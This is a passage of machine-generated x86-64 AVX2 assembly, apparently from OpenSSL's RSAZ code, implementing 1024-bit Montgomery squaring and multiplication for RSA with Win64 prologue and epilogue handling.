vpbroadcastq ymm10,QWORD[((64-128))+rsi]
vmovdqu YMMWORD[(544-448)+r12],ymm9
mov r15,rsi
mov r14d,4
jmp NEAR $L$sqr_entry_1024
ALIGN 32
$L$OOP_SQR_1024:
vpbroadcastq ymm11,QWORD[((32-128))+r15]
vpmuludq ymm0,ymm10,YMMWORD[((0-128))+rsi]
vpaddq ymm0,ymm0,YMMWORD[((0-192))+rbx]
vpmuludq ymm1,ymm10,YMMWORD[((0-128))+r9]
vpaddq ymm1,ymm1,YMMWORD[((32-192))+rbx]
vpmuludq ymm2,ymm10,YMMWORD[((32-128))+r9]
vpaddq ymm2,ymm2,YMMWORD[((64-192))+rbx]
vpmuludq ymm3,ymm10,YMMWORD[((64-128))+r9]
vpaddq ymm3,ymm3,YMMWORD[((96-192))+rbx]
vpmuludq ymm4,ymm10,YMMWORD[((96-128))+r9]
vpaddq ymm4,ymm4,YMMWORD[((128-192))+rbx]
vpmuludq ymm5,ymm10,YMMWORD[((128-128))+r9]
vpaddq ymm5,ymm5,YMMWORD[((160-192))+rbx]
vpmuludq ymm6,ymm10,YMMWORD[((160-128))+r9]
vpaddq ymm6,ymm6,YMMWORD[((192-192))+rbx]
vpmuludq ymm7,ymm10,YMMWORD[((192-128))+r9]
vpaddq ymm7,ymm7,YMMWORD[((224-192))+rbx]
vpmuludq ymm8,ymm10,YMMWORD[((224-128))+r9]
vpbroadcastq ymm10,QWORD[((64-128))+r15]
vpaddq ymm8,ymm8,YMMWORD[((256-192))+rbx]
$L$sqr_entry_1024:
vmovdqu YMMWORD[(0-192)+rbx],ymm0
vmovdqu YMMWORD[(32-192)+rbx],ymm1
vpmuludq ymm12,ymm11,YMMWORD[((32-128))+rsi]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm14,ymm11,YMMWORD[((32-128))+r9]
vpaddq ymm3,ymm3,ymm14
vpmuludq ymm13,ymm11,YMMWORD[((64-128))+r9]
vpaddq ymm4,ymm4,ymm13
vpmuludq ymm12,ymm11,YMMWORD[((96-128))+r9]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm14,ymm11,YMMWORD[((128-128))+r9]
vpaddq ymm6,ymm6,ymm14
vpmuludq ymm13,ymm11,YMMWORD[((160-128))+r9]
vpaddq ymm7,ymm7,ymm13
vpmuludq ymm12,ymm11,YMMWORD[((192-128))+r9]
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm0,ymm11,YMMWORD[((224-128))+r9]
vpbroadcastq ymm11,QWORD[((96-128))+r15]
vpaddq ymm0,ymm0,YMMWORD[((288-192))+rbx]
vmovdqu YMMWORD[(64-192)+rbx],ymm2
vmovdqu YMMWORD[(96-192)+rbx],ymm3
vpmuludq ymm13,ymm10,YMMWORD[((64-128))+rsi]
vpaddq ymm4,ymm4,ymm13
vpmuludq ymm12,ymm10,YMMWORD[((64-128))+r9]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm14,ymm10,YMMWORD[((96-128))+r9]
vpaddq ymm6,ymm6,ymm14
vpmuludq ymm13,ymm10,YMMWORD[((128-128))+r9]
vpaddq ymm7,ymm7,ymm13
vpmuludq ymm12,ymm10,YMMWORD[((160-128))+r9]
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm14,ymm10,YMMWORD[((192-128))+r9]
vpaddq ymm0,ymm0,ymm14
vpmuludq ymm1,ymm10,YMMWORD[((224-128))+r9]
vpbroadcastq ymm10,QWORD[((128-128))+r15]
vpaddq ymm1,ymm1,YMMWORD[((320-448))+r12]
vmovdqu YMMWORD[(128-192)+rbx],ymm4
vmovdqu YMMWORD[(160-192)+rbx],ymm5
vpmuludq ymm12,ymm11,YMMWORD[((96-128))+rsi]
vpaddq ymm6,ymm6,ymm12
vpmuludq ymm14,ymm11,YMMWORD[((96-128))+r9]
vpaddq ymm7,ymm7,ymm14
vpmuludq ymm13,ymm11,YMMWORD[((128-128))+r9]
vpaddq ymm8,ymm8,ymm13
vpmuludq ymm12,ymm11,YMMWORD[((160-128))+r9]
vpaddq ymm0,ymm0,ymm12
vpmuludq ymm14,ymm11,YMMWORD[((192-128))+r9]
vpaddq ymm1,ymm1,ymm14
vpmuludq ymm2,ymm11,YMMWORD[((224-128))+r9]
vpbroadcastq ymm11,QWORD[((160-128))+r15]
vpaddq ymm2,ymm2,YMMWORD[((352-448))+r12]
vmovdqu YMMWORD[(192-192)+rbx],ymm6
vmovdqu YMMWORD[(224-192)+rbx],ymm7
vpmuludq ymm12,ymm10,YMMWORD[((128-128))+rsi]
vpaddq ymm8,ymm8,ymm12
vpmuludq ymm14,ymm10,YMMWORD[((128-128))+r9]
vpaddq ymm0,ymm0,ymm14
vpmuludq ymm13,ymm10,YMMWORD[((160-128))+r9]
vpaddq ymm1,ymm1,ymm13
vpmuludq ymm12,ymm10,YMMWORD[((192-128))+r9]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm3,ymm10,YMMWORD[((224-128))+r9]
vpbroadcastq ymm10,QWORD[((192-128))+r15]
vpaddq ymm3,ymm3,YMMWORD[((384-448))+r12]
vmovdqu YMMWORD[(256-192)+rbx],ymm8
vmovdqu YMMWORD[(288-192)+rbx],ymm0
lea rbx,[8+rbx]
vpmuludq ymm13,ymm11,YMMWORD[((160-128))+rsi]
vpaddq ymm1,ymm1,ymm13
vpmuludq ymm12,ymm11,YMMWORD[((160-128))+r9]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm14,ymm11,YMMWORD[((192-128))+r9]
vpaddq ymm3,ymm3,ymm14
vpmuludq ymm4,ymm11,YMMWORD[((224-128))+r9]
vpbroadcastq ymm11,QWORD[((224-128))+r15]
vpaddq ymm4,ymm4,YMMWORD[((416-448))+r12]
vmovdqu YMMWORD[(320-448)+r12],ymm1
vmovdqu YMMWORD[(352-448)+r12],ymm2
vpmuludq ymm12,ymm10,YMMWORD[((192-128))+rsi]
vpaddq ymm3,ymm3,ymm12
vpmuludq ymm14,ymm10,YMMWORD[((192-128))+r9]
vpbroadcastq ymm0,QWORD[((256-128))+r15]
vpaddq ymm4,ymm4,ymm14
vpmuludq ymm5,ymm10,YMMWORD[((224-128))+r9]
vpbroadcastq ymm10,QWORD[((0+8-128))+r15]
vpaddq ymm5,ymm5,YMMWORD[((448-448))+r12]
vmovdqu YMMWORD[(384-448)+r12],ymm3
vmovdqu YMMWORD[(416-448)+r12],ymm4
lea r15,[8+r15]
vpmuludq ymm12,ymm11,YMMWORD[((224-128))+rsi]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm6,ymm11,YMMWORD[((224-128))+r9]
vpaddq ymm6,ymm6,YMMWORD[((480-448))+r12]
vpmuludq ymm7,ymm0,YMMWORD[((256-128))+rsi]
vmovdqu YMMWORD[(448-448)+r12],ymm5
vpaddq ymm7,ymm7,YMMWORD[((512-448))+r12]
vmovdqu YMMWORD[(480-448)+r12],ymm6
vmovdqu YMMWORD[(512-448)+r12],ymm7
lea r12,[8+r12]
dec r14d
jnz NEAR $L$OOP_SQR_1024
vmovdqu ymm8,YMMWORD[256+rsp]
vmovdqu ymm1,YMMWORD[288+rsp]
vmovdqu ymm2,YMMWORD[320+rsp]
lea rbx,[192+rsp]
vpsrlq ymm14,ymm8,29
vpand ymm8,ymm8,ymm15
vpsrlq ymm11,ymm1,29
vpand ymm1,ymm1,ymm15
vpermq ymm14,ymm14,0x93
vpxor ymm9,ymm9,ymm9
vpermq ymm11,ymm11,0x93
vpblendd ymm10,ymm14,ymm9,3
vpblendd ymm14,ymm11,ymm14,3
vpaddq ymm8,ymm8,ymm10
vpblendd ymm11,ymm9,ymm11,3
vpaddq ymm1,ymm1,ymm14
vpaddq ymm2,ymm2,ymm11
vmovdqu YMMWORD[(288-192)+rbx],ymm1
vmovdqu YMMWORD[(320-192)+rbx],ymm2
mov rax,QWORD[rsp]
mov r10,QWORD[8+rsp]
mov r11,QWORD[16+rsp]
mov r12,QWORD[24+rsp]
vmovdqu ymm1,YMMWORD[32+rsp]
vmovdqu ymm2,YMMWORD[((64-192))+rbx]
vmovdqu ymm3,YMMWORD[((96-192))+rbx]
vmovdqu ymm4,YMMWORD[((128-192))+rbx]
vmovdqu ymm5,YMMWORD[((160-192))+rbx]
vmovdqu ymm6,YMMWORD[((192-192))+rbx]
vmovdqu ymm7,YMMWORD[((224-192))+rbx]
mov r9,rax
imul eax,ecx
and eax,0x1fffffff
vmovd xmm12,eax
mov rdx,rax
imul rax,QWORD[((-128))+r13]
vpbroadcastq ymm12,xmm12
add r9,rax
mov rax,rdx
imul rax,QWORD[((8-128))+r13]
shr r9,29
add r10,rax
mov rax,rdx
imul rax,QWORD[((16-128))+r13]
add r10,r9
add r11,rax
imul rdx,QWORD[((24-128))+r13]
add r12,rdx
mov rax,r10
imul eax,ecx
and eax,0x1fffffff
mov r14d,9
jmp NEAR $L$OOP_REDUCE_1024
ALIGN 32
$L$OOP_REDUCE_1024:
vmovd xmm13,eax
vpbroadcastq ymm13,xmm13
vpmuludq ymm10,ymm12,YMMWORD[((32-128))+r13]
mov rdx,rax
imul rax,QWORD[((-128))+r13]
vpaddq ymm1,ymm1,ymm10
add r10,rax
vpmuludq ymm14,ymm12,YMMWORD[((64-128))+r13]
mov rax,rdx
imul rax,QWORD[((8-128))+r13]
vpaddq ymm2,ymm2,ymm14
vpmuludq ymm11,ymm12,YMMWORD[((96-128))+r13]
DB 0x67
add r11,rax
DB 0x67
mov rax,rdx
imul rax,QWORD[((16-128))+r13]
shr r10,29
vpaddq ymm3,ymm3,ymm11
vpmuludq ymm10,ymm12,YMMWORD[((128-128))+r13]
add r12,rax
add r11,r10
vpaddq ymm4,ymm4,ymm10
vpmuludq ymm14,ymm12,YMMWORD[((160-128))+r13]
mov rax,r11
imul eax,ecx
vpaddq ymm5,ymm5,ymm14
vpmuludq ymm11,ymm12,YMMWORD[((192-128))+r13]
and eax,0x1fffffff
vpaddq ymm6,ymm6,ymm11
vpmuludq ymm10,ymm12,YMMWORD[((224-128))+r13]
vpaddq ymm7,ymm7,ymm10
vpmuludq ymm14,ymm12,YMMWORD[((256-128))+r13]
vmovd xmm12,eax
vpaddq ymm8,ymm8,ymm14
vpbroadcastq ymm12,xmm12
vpmuludq ymm11,ymm13,YMMWORD[((32-8-128))+r13]
vmovdqu ymm14,YMMWORD[((96-8-128))+r13]
mov rdx,rax
imul rax,QWORD[((-128))+r13]
vpaddq ymm1,ymm1,ymm11
vpmuludq ymm10,ymm13,YMMWORD[((64-8-128))+r13]
vmovdqu ymm11,YMMWORD[((128-8-128))+r13]
add r11,rax
mov rax,rdx
imul rax,QWORD[((8-128))+r13]
vpaddq ymm2,ymm2,ymm10
add rax,r12
shr r11,29
vpmuludq ymm14,ymm14,ymm13
vmovdqu ymm10,YMMWORD[((160-8-128))+r13]
add rax,r11
vpaddq ymm3,ymm3,ymm14
vpmuludq ymm11,ymm11,ymm13
vmovdqu ymm14,YMMWORD[((192-8-128))+r13]
DB 0x67
mov r12,rax
imul eax,ecx
vpaddq ymm4,ymm4,ymm11
vpmuludq ymm10,ymm10,ymm13
DB 0xc4,0x41,0x7e,0x6f,0x9d,0x58,0x00,0x00,0x00
and eax,0x1fffffff
vpaddq ymm5,ymm5,ymm10
vpmuludq ymm14,ymm14,ymm13
vmovdqu ymm10,YMMWORD[((256-8-128))+r13]
vpaddq ymm6,ymm6,ymm14
vpmuludq ymm11,ymm11,ymm13
vmovdqu ymm9,YMMWORD[((288-8-128))+r13]
vmovd xmm0,eax
imul rax,QWORD[((-128))+r13]
vpaddq ymm7,ymm7,ymm11
vpmuludq ymm10,ymm10,ymm13
vmovdqu ymm14,YMMWORD[((32-16-128))+r13]
vpbroadcastq ymm0,xmm0
vpaddq ymm8,ymm8,ymm10
vpmuludq ymm9,ymm9,ymm13
vmovdqu ymm11,YMMWORD[((64-16-128))+r13]
add r12,rax
vmovdqu ymm13,YMMWORD[((32-24-128))+r13]
vpmuludq ymm14,ymm14,ymm12
vmovdqu ymm10,YMMWORD[((96-16-128))+r13]
vpaddq ymm1,ymm1,ymm14
vpmuludq ymm13,ymm13,ymm0
vpmuludq ymm11,ymm11,ymm12
DB 0xc4,0x41,0x7e,0x6f,0xb5,0xf0,0xff,0xff,0xff
vpaddq ymm13,ymm13,ymm1
vpaddq ymm2,ymm2,ymm11
vpmuludq ymm10,ymm10,ymm12
vmovdqu ymm11,YMMWORD[((160-16-128))+r13]
DB 0x67
vmovq rax,xmm13
vmovdqu YMMWORD[rsp],ymm13
vpaddq ymm3,ymm3,ymm10
vpmuludq ymm14,ymm14,ymm12
vmovdqu ymm10,YMMWORD[((192-16-128))+r13]
vpaddq ymm4,ymm4,ymm14
vpmuludq ymm11,ymm11,ymm12
vmovdqu ymm14,YMMWORD[((224-16-128))+r13]
vpaddq ymm5,ymm5,ymm11
vpmuludq ymm10,ymm10,ymm12
vmovdqu ymm11,YMMWORD[((256-16-128))+r13]
vpaddq ymm6,ymm6,ymm10
vpmuludq ymm14,ymm14,ymm12
shr r12,29
vmovdqu ymm10,YMMWORD[((288-16-128))+r13]
add rax,r12
vpaddq ymm7,ymm7,ymm14
vpmuludq ymm11,ymm11,ymm12
mov r9,rax
imul eax,ecx
vpaddq ymm8,ymm8,ymm11
vpmuludq ymm10,ymm10,ymm12
and eax,0x1fffffff
vmovd xmm12,eax
vmovdqu ymm11,YMMWORD[((96-24-128))+r13]
DB 0x67
vpaddq ymm9,ymm9,ymm10
vpbroadcastq ymm12,xmm12
vpmuludq ymm14,ymm0,YMMWORD[((64-24-128))+r13]
vmovdqu ymm10,YMMWORD[((128-24-128))+r13]
mov rdx,rax
imul rax,QWORD[((-128))+r13]
mov r10,QWORD[8+rsp]
vpaddq ymm1,ymm2,ymm14
vpmuludq ymm11,ymm11,ymm0
vmovdqu ymm14,YMMWORD[((160-24-128))+r13]
add r9,rax
mov rax,rdx
imul rax,QWORD[((8-128))+r13]
DB 0x67
shr r9,29
mov r11,QWORD[16+rsp]
vpaddq ymm2,ymm3,ymm11
vpmuludq ymm10,ymm10,ymm0
vmovdqu ymm11,YMMWORD[((192-24-128))+r13]
add r10,rax
mov rax,rdx
imul rax,QWORD[((16-128))+r13]
vpaddq ymm3,ymm4,ymm10
vpmuludq ymm14,ymm14,ymm0
vmovdqu ymm10,YMMWORD[((224-24-128))+r13]
imul rdx,QWORD[((24-128))+r13]
add r11,rax
lea rax,[r10*1+r9]
vpaddq ymm4,ymm5,ymm14
vpmuludq ymm11,ymm11,ymm0
vmovdqu ymm14,YMMWORD[((256-24-128))+r13]
mov r10,rax
imul eax,ecx
vpmuludq ymm10,ymm10,ymm0
vpaddq ymm5,ymm6,ymm11
vmovdqu ymm11,YMMWORD[((288-24-128))+r13]
and eax,0x1fffffff
vpaddq ymm6,ymm7,ymm10
vpmuludq ymm14,ymm14,ymm0
add rdx,QWORD[24+rsp]
vpaddq ymm7,ymm8,ymm14
vpmuludq ymm11,ymm11,ymm0
vpaddq ymm8,ymm9,ymm11
vmovq xmm9,r12
mov r12,rdx
dec r14d
jnz NEAR $L$OOP_REDUCE_1024
lea r12,[448+rsp]
vpaddq ymm0,ymm13,ymm9
vpxor ymm9,ymm9,ymm9
vpaddq ymm0,ymm0,YMMWORD[((288-192))+rbx]
vpaddq ymm1,ymm1,YMMWORD[((320-448))+r12]
vpaddq ymm2,ymm2,YMMWORD[((352-448))+r12]
vpaddq ymm3,ymm3,YMMWORD[((384-448))+r12]
vpaddq ymm4,ymm4,YMMWORD[((416-448))+r12]
vpaddq ymm5,ymm5,YMMWORD[((448-448))+r12]
vpaddq ymm6,ymm6,YMMWORD[((480-448))+r12]
vpaddq ymm7,ymm7,YMMWORD[((512-448))+r12]
vpaddq ymm8,ymm8,YMMWORD[((544-448))+r12]
vpsrlq ymm14,ymm0,29
vpand ymm0,ymm0,ymm15
vpsrlq ymm11,ymm1,29
vpand ymm1,ymm1,ymm15
vpsrlq ymm12,ymm2,29
vpermq ymm14,ymm14,0x93
vpand ymm2,ymm2,ymm15
vpsrlq ymm13,ymm3,29
vpermq ymm11,ymm11,0x93
vpand ymm3,ymm3,ymm15
vpermq ymm12,ymm12,0x93
vpblendd ymm10,ymm14,ymm9,3
vpermq ymm13,ymm13,0x93
vpblendd ymm14,ymm11,ymm14,3
vpaddq ymm0,ymm0,ymm10
vpblendd ymm11,ymm12,ymm11,3
vpaddq ymm1,ymm1,ymm14
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm2,ymm2,ymm11
vpblendd ymm13,ymm9,ymm13,3
vpaddq ymm3,ymm3,ymm12
vpaddq ymm4,ymm4,ymm13
vpsrlq ymm14,ymm0,29
vpand ymm0,ymm0,ymm15
vpsrlq ymm11,ymm1,29
vpand ymm1,ymm1,ymm15
vpsrlq ymm12,ymm2,29
vpermq ymm14,ymm14,0x93
vpand ymm2,ymm2,ymm15
vpsrlq ymm13,ymm3,29
vpermq ymm11,ymm11,0x93
vpand ymm3,ymm3,ymm15
vpermq ymm12,ymm12,0x93
vpblendd ymm10,ymm14,ymm9,3
vpermq ymm13,ymm13,0x93
vpblendd ymm14,ymm11,ymm14,3
vpaddq ymm0,ymm0,ymm10
vpblendd ymm11,ymm12,ymm11,3
vpaddq ymm1,ymm1,ymm14
vmovdqu YMMWORD[(0-128)+rdi],ymm0
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm2,ymm2,ymm11
vmovdqu YMMWORD[(32-128)+rdi],ymm1
vpblendd ymm13,ymm9,ymm13,3
vpaddq ymm3,ymm3,ymm12
vmovdqu YMMWORD[(64-128)+rdi],ymm2
vpaddq ymm4,ymm4,ymm13
vmovdqu YMMWORD[(96-128)+rdi],ymm3
vpsrlq ymm14,ymm4,29
vpand ymm4,ymm4,ymm15
vpsrlq ymm11,ymm5,29
vpand ymm5,ymm5,ymm15
vpsrlq ymm12,ymm6,29
vpermq ymm14,ymm14,0x93
vpand ymm6,ymm6,ymm15
vpsrlq ymm13,ymm7,29
vpermq ymm11,ymm11,0x93
vpand ymm7,ymm7,ymm15
vpsrlq ymm0,ymm8,29
vpermq ymm12,ymm12,0x93
vpand ymm8,ymm8,ymm15
vpermq ymm13,ymm13,0x93
vpblendd ymm10,ymm14,ymm9,3
vpermq ymm0,ymm0,0x93
vpblendd ymm14,ymm11,ymm14,3
vpaddq ymm4,ymm4,ymm10
vpblendd ymm11,ymm12,ymm11,3
vpaddq ymm5,ymm5,ymm14
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm6,ymm6,ymm11
vpblendd ymm13,ymm0,ymm13,3
vpaddq ymm7,ymm7,ymm12
vpaddq ymm8,ymm8,ymm13
vpsrlq ymm14,ymm4,29
vpand ymm4,ymm4,ymm15
vpsrlq ymm11,ymm5,29
vpand ymm5,ymm5,ymm15
vpsrlq ymm12,ymm6,29
vpermq ymm14,ymm14,0x93
vpand ymm6,ymm6,ymm15
vpsrlq ymm13,ymm7,29
vpermq ymm11,ymm11,0x93
vpand ymm7,ymm7,ymm15
vpsrlq ymm0,ymm8,29
vpermq ymm12,ymm12,0x93
vpand ymm8,ymm8,ymm15
vpermq ymm13,ymm13,0x93
vpblendd ymm10,ymm14,ymm9,3
vpermq ymm0,ymm0,0x93
vpblendd ymm14,ymm11,ymm14,3
vpaddq ymm4,ymm4,ymm10
vpblendd ymm11,ymm12,ymm11,3
vpaddq ymm5,ymm5,ymm14
vmovdqu YMMWORD[(128-128)+rdi],ymm4
vpblendd ymm12,ymm13,ymm12,3
vpaddq ymm6,ymm6,ymm11
vmovdqu YMMWORD[(160-128)+rdi],ymm5
vpblendd ymm13,ymm0,ymm13,3
vpaddq ymm7,ymm7,ymm12
vmovdqu YMMWORD[(192-128)+rdi],ymm6
vpaddq ymm8,ymm8,ymm13
vmovdqu YMMWORD[(224-128)+rdi],ymm7
vmovdqu YMMWORD[(256-128)+rdi],ymm8
mov rsi,rdi
dec r8d
jne NEAR $L$OOP_GRANDE_SQR_1024
vzeroall
mov rax,rbp
$L$sqr_1024_in_tail:
movaps xmm6,XMMWORD[((-216))+rax]
movaps xmm7,XMMWORD[((-200))+rax]
movaps xmm8,XMMWORD[((-184))+rax]
movaps xmm9,XMMWORD[((-168))+rax]
movaps xmm10,XMMWORD[((-152))+rax]
movaps xmm11,XMMWORD[((-136))+rax]
movaps xmm12,XMMWORD[((-120))+rax]
movaps xmm13,XMMWORD[((-104))+rax]
movaps xmm14,XMMWORD[((-88))+rax]
movaps xmm15,XMMWORD[((-72))+rax]
mov r15,QWORD[((-48))+rax]
mov r14,QWORD[((-40))+rax]
mov r13,QWORD[((-32))+rax]
mov r12,QWORD[((-24))+rax]
mov rbp,QWORD[((-16))+rax]
mov rbx,QWORD[((-8))+rax]
lea rsp,[rax]
$L$sqr_1024_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_1024_sqr_avx2:
global rsaz_1024_mul_avx2
ALIGN 64
rsaz_1024_mul_avx2:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_1024_mul_avx2:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
lea rax,[rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
vzeroupper
lea rsp,[((-168))+rsp]
vmovaps XMMWORD[(-216)+rax],xmm6
vmovaps XMMWORD[(-200)+rax],xmm7
vmovaps XMMWORD[(-184)+rax],xmm8
vmovaps XMMWORD[(-168)+rax],xmm9
vmovaps XMMWORD[(-152)+rax],xmm10
vmovaps XMMWORD[(-136)+rax],xmm11
vmovaps XMMWORD[(-120)+rax],xmm12
vmovaps XMMWORD[(-104)+rax],xmm13
vmovaps XMMWORD[(-88)+rax],xmm14
vmovaps XMMWORD[(-72)+rax],xmm15
$L$mul_1024_body:
mov rbp,rax
vzeroall
mov r13,rdx
sub rsp,64
DB 0x67,0x67
mov r15,rsi
and r15,4095
add r15,32*10
shr r15,12
mov r15,rsi
cmovnz rsi,r13
cmovnz r13,r15
mov r15,rcx
sub rsi,-128
sub rcx,-128
sub rdi,-128
and r15,4095
add r15,32*10
DB 0x67,0x67
shr r15,12
jz NEAR $L$mul_1024_no_n_copy
sub rsp,32*10
vmovdqu ymm0,YMMWORD[((0-128))+rcx]
and rsp,-512
vmovdqu ymm1,YMMWORD[((32-128))+rcx]
vmovdqu ymm2,YMMWORD[((64-128))+rcx]
vmovdqu ymm3,YMMWORD[((96-128))+rcx]
vmovdqu ymm4,YMMWORD[((128-128))+rcx]
vmovdqu ymm5,YMMWORD[((160-128))+rcx]
vmovdqu ymm6,YMMWORD[((192-128))+rcx]
vmovdqu ymm7,YMMWORD[((224-128))+rcx]
vmovdqu ymm8,YMMWORD[((256-128))+rcx]
lea rcx,[((64+128))+rsp]
vmovdqu YMMWORD[(0-128)+rcx],ymm0
vpxor ymm0,ymm0,ymm0
vmovdqu YMMWORD[(32-128)+rcx],ymm1
vpxor ymm1,ymm1,ymm1
vmovdqu YMMWORD[(64-128)+rcx],ymm2
vpxor ymm2,ymm2,ymm2
vmovdqu YMMWORD[(96-128)+rcx],ymm3
vpxor ymm3,ymm3,ymm3
vmovdqu YMMWORD[(128-128)+rcx],ymm4
vpxor ymm4,ymm4,ymm4
vmovdqu YMMWORD[(160-128)+rcx],ymm5
vpxor ymm5,ymm5,ymm5
vmovdqu YMMWORD[(192-128)+rcx],ymm6
vpxor ymm6,ymm6,ymm6
vmovdqu YMMWORD[(224-128)+rcx],ymm7
vpxor ymm7,ymm7,ymm7
vmovdqu YMMWORD[(256-128)+rcx],ymm8
vmovdqa ymm8,ymm0
vmovdqu YMMWORD[(288-128)+rcx],ymm9
$L$mul_1024_no_n_copy:
and rsp,-64
mov rbx,QWORD[r13]
vpbroadcastq ymm10,QWORD[r13]
vmovdqu YMMWORD[rsp],ymm0
xor r9,r9
DB 0x67
xor r10,r10
xor r11,r11
xor r12,r12
vmovdqu ymm15,YMMWORD[$L$and_mask]
mov r14d,9
vmovdqu YMMWORD[(288-128)+rdi],ymm9
jmp NEAR $L$oop_mul_1024
ALIGN 32
$L$oop_mul_1024:
vpsrlq ymm9,ymm3,29
mov rax,rbx
imul rax,QWORD[((-128))+rsi]
add rax,r9
mov r10,rbx
imul r10,QWORD[((8-128))+rsi]
add r10,QWORD[8+rsp]
mov r9,rax
imul eax,r8d
and eax,0x1fffffff
mov r11,rbx
imul r11,QWORD[((16-128))+rsi]
add r11,QWORD[16+rsp]
mov r12,rbx
imul r12,QWORD[((24-128))+rsi]
add r12,QWORD[24+rsp]
vpmuludq ymm0,ymm10,YMMWORD[((32-128))+rsi]
vmovd xmm11,eax
vpaddq ymm1,ymm1,ymm0
vpmuludq ymm12,ymm10,YMMWORD[((64-128))+rsi]
vpbroadcastq ymm11,xmm11
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm13,ymm10,YMMWORD[((96-128))+rsi]
vpand ymm3,ymm3,ymm15
vpaddq ymm3,ymm3,ymm13
vpmuludq ymm0,ymm10,YMMWORD[((128-128))+rsi]
vpaddq ymm4,ymm4,ymm0
vpmuludq ymm12,ymm10,YMMWORD[((160-128))+rsi]
vpaddq ymm5,ymm5,ymm12
vpmuludq ymm13,ymm10,YMMWORD[((192-128))+rsi]
vpaddq ymm6,ymm6,ymm13
vpmuludq ymm0,ymm10,YMMWORD[((224-128))+rsi]
vpermq ymm9,ymm9,0x93
vpaddq ymm7,ymm7,ymm0
vpmuludq ymm12,ymm10,YMMWORD[((256-128))+rsi]
vpbroadcastq ymm10,QWORD[8+r13]
vpaddq ymm8,ymm8,ymm12
mov rdx,rax
imul rax,QWORD[((-128))+rcx]
add r9,rax
mov rax,rdx
imul rax,QWORD[((8-128))+rcx]
add r10,rax
mov rax,rdx
imul rax,QWORD[((16-128))+rcx]
add r11,rax
shr r9,29
imul rdx,QWORD[((24-128))+rcx]
add r12,rdx
add r10,r9
vpmuludq ymm13,ymm11,YMMWORD[((32-128))+rcx]
vmovq rbx,xmm10
vpaddq ymm1,ymm1,ymm13
vpmuludq ymm0,ymm11,YMMWORD[((64-128))+rcx]
vpaddq ymm2,ymm2,ymm0
vpmuludq ymm12,ymm11,YMMWORD[((96-128))+rcx]
vpaddq ymm3,ymm3,ymm12
vpmuludq ymm13,ymm11,YMMWORD[((128-128))+rcx]
vpaddq ymm4,ymm4,ymm13
vpmuludq ymm0,ymm11,YMMWORD[((160-128))+rcx]
vpaddq ymm5,ymm5,ymm0
vpmuludq ymm12,ymm11,YMMWORD[((192-128))+rcx]
vpaddq ymm6,ymm6,ymm12
vpmuludq ymm13,ymm11,YMMWORD[((224-128))+rcx]
vpblendd ymm12,ymm9,ymm14,3
vpaddq ymm7,ymm7,ymm13
vpmuludq ymm0,ymm11,YMMWORD[((256-128))+rcx]
vpaddq ymm3,ymm3,ymm12
vpaddq ymm8,ymm8,ymm0
mov rax,rbx
imul rax,QWORD[((-128))+rsi]
add r10,rax
vmovdqu ymm12,YMMWORD[((-8+32-128))+rsi]
mov rax,rbx
imul rax,QWORD[((8-128))+rsi]
add r11,rax
vmovdqu ymm13,YMMWORD[((-8+64-128))+rsi]
mov rax,r10
vpblendd ymm9,ymm9,ymm14,0xfc
imul eax,r8d
vpaddq ymm4,ymm4,ymm9
and eax,0x1fffffff
imul rbx,QWORD[((16-128))+rsi]
add r12,rbx
vpmuludq ymm12,ymm12,ymm10
vmovd xmm11,eax
vmovdqu ymm0,YMMWORD[((-8+96-128))+rsi]
vpaddq ymm1,ymm1,ymm12
vpmuludq ymm13,ymm13,ymm10
vpbroadcastq ymm11,xmm11
vmovdqu ymm12,YMMWORD[((-8+128-128))+rsi]
vpaddq ymm2,ymm2,ymm13
vpmuludq ymm0,ymm0,ymm10
vmovdqu ymm13,YMMWORD[((-8+160-128))+rsi]
vpaddq ymm3,ymm3,ymm0
vpmuludq ymm12,ymm12,ymm10
vmovdqu ymm0,YMMWORD[((-8+192-128))+rsi]
vpaddq ymm4,ymm4,ymm12
vpmuludq ymm13,ymm13,ymm10
vmovdqu ymm12,YMMWORD[((-8+224-128))+rsi]
vpaddq ymm5,ymm5,ymm13
vpmuludq ymm0,ymm0,ymm10
vmovdqu ymm13,YMMWORD[((-8+256-128))+rsi]
vpaddq ymm6,ymm6,ymm0
vpmuludq ymm12,ymm12,ymm10
vmovdqu ymm9,YMMWORD[((-8+288-128))+rsi]
vpaddq ymm7,ymm7,ymm12
vpmuludq ymm13,ymm13,ymm10
vpaddq ymm8,ymm8,ymm13
vpmuludq ymm9,ymm9,ymm10
vpbroadcastq ymm10,QWORD[16+r13]
mov rdx,rax
imul rax,QWORD[((-128))+rcx]
add r10,rax
vmovdqu ymm0,YMMWORD[((-8+32-128))+rcx]
mov rax,rdx
imul rax,QWORD[((8-128))+rcx]
add r11,rax
vmovdqu ymm12,YMMWORD[((-8+64-128))+rcx]
shr r10,29
imul rdx,QWORD[((16-128))+rcx]
add r12,rdx
add r11,r10
vpmuludq ymm0,ymm0,ymm11
vmovq rbx,xmm10
vmovdqu ymm13,YMMWORD[((-8+96-128))+rcx]
vpaddq ymm1,ymm1,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu ymm0,YMMWORD[((-8+128-128))+rcx]
vpaddq ymm2,ymm2,ymm12
vpmuludq ymm13,ymm13,ymm11
vmovdqu ymm12,YMMWORD[((-8+160-128))+rcx]
vpaddq ymm3,ymm3,ymm13
vpmuludq ymm0,ymm0,ymm11
vmovdqu ymm13,YMMWORD[((-8+192-128))+rcx]
vpaddq ymm4,ymm4,ymm0
vpmuludq ymm12,ymm12,ymm11
vmovdqu ymm0,YMMWORD[((-8+224-128))+rcx]
